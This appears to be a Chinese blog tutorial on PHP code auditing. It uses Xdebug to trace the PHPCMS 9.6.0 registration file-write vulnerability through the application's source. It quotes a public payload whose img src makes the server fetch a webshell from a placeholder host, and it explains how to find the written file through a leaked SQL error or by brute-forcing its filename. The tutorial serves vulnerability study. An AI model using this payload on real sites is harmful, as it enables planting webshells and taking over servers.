从debug看php代码审计

0x01 写在前面

最近在啃漏洞代码,所以这篇文章新手向,主要的是结合漏洞讲讲如何通过debug的方式,通过已知poc了解漏洞原理。

0x02 进入正题

这次拿的漏洞是PHPcms 9.6.0中的任意上传文件漏洞来说,其实准确来说应该是任意文件写入才对。

基础知识

对于php来说,debug的话,有个东西叫xdebug,当然配置这个时候,特别在mac下出了很多坑,这里强烈推荐一个mac下类似phpstudy的东西,叫做MxSrvs,了解一下?

Xdebug工作原理

1,IDE(如PhpStorm)已经集成了一个遵循BGDP的Xdebug插件,当开启它的时候, 会在本地开一个xdebug调试服务,监听在调试器中所设置的端口上,默认是9000,这个服务就会监听所有到9000端口的链接。在PhpStorm中,位于:工具栏 > Run > Start / Stop Listening for PHP Xdebug Connetions。

2,当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接受后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上。当参数或者cookie信息中不带XDEBUG_SESSION_START,则不会启动调试。这就为后续在浏览器中添加开关提供了可能。Xdebug的官方给出了一个示例图:很好的展示了相互调用关系。

这个示例图是绑定了ip,即使用了固定ip地址,xdebug.remote_connect_back = 0 ,也是 xdebug 的默认方式,这种情况下,xdebug 在收到调试通知时会读取配置 xdebug.remote_host 和 xdebug.remote_port ,默认是 localhost:9000,然后向这个端口发送通知,这种方式只适合单一客户端开发调试。

7

漏洞分析

上面简单介绍一下xdebug的一些工作原理,下面开始看看这个漏洞,如果通过xdebug远程调试的办法来了解原理。

漏洞原理

漏洞利用点是注册的地方,以下是一个公开的payload:

1
2
3
4
index.php?m=member&c=index&a=register&siteid=1

post数据:
siteid=1&modelid=11&username=test&password=testxx&email=test@qq.com&info[content]=<img src=http://xxxx/shell.txt?.php#.jpg>&dosubmit=1

这里我选择phpstorm配合xdebug动态调试一波,看看漏洞点在哪。

8

phpcms 注册在模块/phpcms/modules/member 的index.php文件中,找到register函数。

1
2
3
4
5
6
7
8
//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}

这里通过require_once包含了两个caches/caches_model/下的PHP文件,然后通过modelid new了一个member_input类。

1
2
3
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);

这里我们下一个断点,动态调试下。

9

通过payload,不难看出我们的 payload 在$_POST['info']里,而这里对$_POST['info']进行了处理,所以跟进一下。这里其实在通过$_POST['info']传入的时候针对其使用new_html_special_chars对<>进行编码之后。

10

跟进$member_input->get函数,该函数位于caches/caches_model/caches_data/member_input.class.php中。

12

这里我们可以看到,我们的payload是info[content],所以调用的是editor函数。所以跟一下,editor函数。这个函数也在这个文件里的第59-66

1
2
3
4
5
6
7
8
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}

13

然后这里就执行$this->attachment->download函数进行下载,我们继续跟进。

在phpcms/libs/classes/attachment.class.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

函数中先对$value中的引号进行了转义,然后使用正则匹配:

1
2
3
4
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=(["|']?)([^ "'>]+.($ext))\2/i",$string, $matches)) return $value;

这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),所以我们的payload<img src=http://url/shell.txt?.php#.jpg>符合这一格式。

接下来有串代码,目的是用来代码来去除 url 中的锚点。

1
2
3
4
5
6
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}

最后在第162行有这样一行代码。

1
$remotefileurls = array_unique($remotefileurls);

它的效果如下图,可以看到.jpg已经没有

15

然后继续单步调试就很明显知道干了什么。

16

这里就是通过程序调用copy函数,对远程的文件进行了下载,然后并且写入。所以啊,这里也就是为什么我刚刚说这个漏洞更像是任意文件写入的问题。并且也返回了写入后的文件放在哪里了。

17

一些技巧

如何获取上传后的地址,这里有两种方法。

第一种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(pc_base::load_config('system', 'phpsso')) {
$this->_init_phpsso();
$status = $this->client->ps_member_register($userinfo['username'], $userinfo['password'], $userinfo['email'], $userinfo['regip'], $userinfo['encrypt']);
if($status > 0) {
$userinfo['phpssouid'] = $status;
//传入phpsso为明文密码,加密后存入phpcms_v9
$password = $userinfo['password'];
$userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']);
$userid = $this->db->insert($userinfo, 1);
if($member_setting['choosemodel']) { //如果开启选择模型
$user_model_info['userid'] = $userid;
//插入会员模型数据
$this->db->set_model($userinfo['modelid']);
$this->db->insert($user_model_info);
}

可以看到当$status > 0时会执行 SQL 语句进行 INSERT 操作,向数据库中插入数据,因为表中并没有content列,所以产生报错。

18

因此会在页面上直接返回写入后的地址。

第二种

在无法得到路径的情况下我们只能爆破了, 文件名生成的方法为:

1
2
3
function getname($fileext){
return date('Ymdhis').rand(100, 999).'.'.$fileext;
}

因为我们只需要爆破rand(100,999)即可,很容易爆破出来文件名

0x03 总结

在做代码审计的时候,我的一些理解,我们往往可以通过数据包,php自身框架的路由或者java自身路由等手段获取到功能点所在的文件位置,但是不一定能够精准定位到调用了那些函数,进行了那些跳转等。这时候通过远程xebug的方式,可以很快很精准的定位到问题所在,所以这也不失为一种好办法,大佬们觉得呢。

Refer

PhpStorm Xdebug远程调试环境搭建原理分析及问题排查